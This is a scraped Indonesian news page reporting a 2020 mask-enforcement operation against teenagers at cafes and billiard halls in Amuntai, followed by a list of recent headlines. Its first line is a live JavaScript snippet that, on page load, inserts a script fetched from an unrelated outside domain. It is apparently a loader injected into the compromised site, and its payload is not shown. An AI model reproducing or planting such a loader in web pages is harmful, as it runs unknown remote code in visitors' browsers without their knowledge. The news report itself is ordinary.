(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sidak Cafe dan Billiard di Amuntai, Pelanggar Protokol Kesehatan Didominasi Remaja


KANALKALIMANTAN.COM, AMUNTAI – Puluhan remaja kembali terjaring operasi Yustisi pendisiplinan dan penegakan hukum protokol kesehatan petugas gabungan Polres Hulu Sungai Utara (HSU), Kodim 1001/Amuntai dan Sat Pol-PP HSU. Kali ini, operasi menyasar cafe, tempat billiard dan warung di beberapa lokasi di wilayah Kota Amuntai, Jumat (18/9/2020) malam.

Seperti sebelumnya, operasi kali ini dipimpin oleh langsung Kapolres HSU AKBP Afri Darmawan, didampingi Dandim 1001/Amuntai Lekol Inf.Ali Ahmad Satriyadi, Kasat Pol PP Kabupaten HSU Jumadi, dengan menurunkan 13 petugas dari Polres HSU, 10 orang dari Anggota Kodim dan Sat Pol PP sebanyak 15 orang.

Hasil operasi yustisi pelanggar Perbup HSU No.37.Th.2020, didominasi remaja yang tidak memakai masker saat beraktifias di Cafe House RR, Cafe Twin Coffe, Bilyard Mata Dewa, Restoran BBQ, kumpulan remaja di depan Mini Market Berkah.

Kapolres HSU AKBP Afri Darmawan melalui Kasubag Humas Iptu Alam SW menuturkan, operasi yustisi ini mengacu pada Instruksi Presiden Nomor 6 Tahun 2020 tentang Peningkatan Pendisiplinan dan Penegakan Hukum Protokol Kesehatan.

Hal ini juga, kata Iptu Alam terkait Peraturan Bupati HSU Nomor 37 Tahun 2020 tentang Penerapan Disiplin dan Penegakan Hukum Protokol Kesehatan Sebagai Upaya Pencegahan dan Pengendalian Covid-19 di Kabupaten HSU

“Operasi yustisi pendisiplin dan penegakan hukum protokol kesehatan ini dilakukan agar warga betul-betul disiplin mematuhi protokol kesehatan dan apabila ditemukan pelanggaran tidak memakai masker maka ada sanksi,” tegasnya.

Selain diberikan teguran lisan juga diberikan teguran secara tertulis, yang kali ini para remaja milih sanksi pembinaan fisik secara terukur yakni push up 20 orang dan sanksi sosial 11 orang oleh Satpol PP.

“Kita juga kembali diingatkan untuk tetap mematuhi protokol kesehatan dengan wajib memakai masker apabila keluar rumah, jaga jarak serta hindari kerumunan demi memutus penyebaran Covid- 19,” pungkasnya. (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Cell

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

11 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

13 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.